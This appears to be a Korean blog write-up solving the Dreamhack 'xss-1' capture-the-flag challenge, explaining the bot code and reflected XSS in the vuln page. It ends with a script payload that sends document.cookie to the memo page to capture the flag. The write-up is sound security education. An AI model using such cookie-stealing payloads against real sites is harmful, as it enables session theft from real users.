728x90
링크 : https://dreamhack.io/wargame/challenges/28
xss-1
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역
dreamhack.io
문제 설명
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
플래그 형식은 DH{...} 입니다.
문제 풀이
1. xss 파라미터로 입력된 값을 전송 -> 페이지 응답 시 해당 변수가 페이지 내 삽입
param=<script>alert(1)</script> 코드가 그대로 실행되고 있음.
2. memo 페이지 역시 memo?memo=hello가 그대로 입력
3. flag 페이지에 입력시 good이 뜸
4. read_url 함수를 보면 cookie.update({"domain": "127.0.0.1"})는 쿠키에 도메인 정보를 추가
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
return False
driver.quit()
return True
5. check_xss : read_url 함수로 해당 URL에 대한 XSS 검사를 수행
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
6. 사용자의 쿠키 값을 memo 파라미터로 포함하여 http://127.0.0.1:8000/memo URL로 전송
<script>window.open('http://127.0.0.1:8000/memo?memo='+document.cookie)</script>
728x90
'CTF' 카테고리의 다른 글
[드림핵_웹해킹]csrf-1 (0) | 2024.09.29 |
---|---|
[드림핵_웹해킹]xss-2 (1) | 2024.09.29 |
[드림핵_웹해킹]session-basic (2) | 2024.09.29 |
[드림핵_웹해킹]cookie (1) | 2024.09.29 |
[드림핵_웹 해킹]devtools-sources (0) | 2024.09.29 |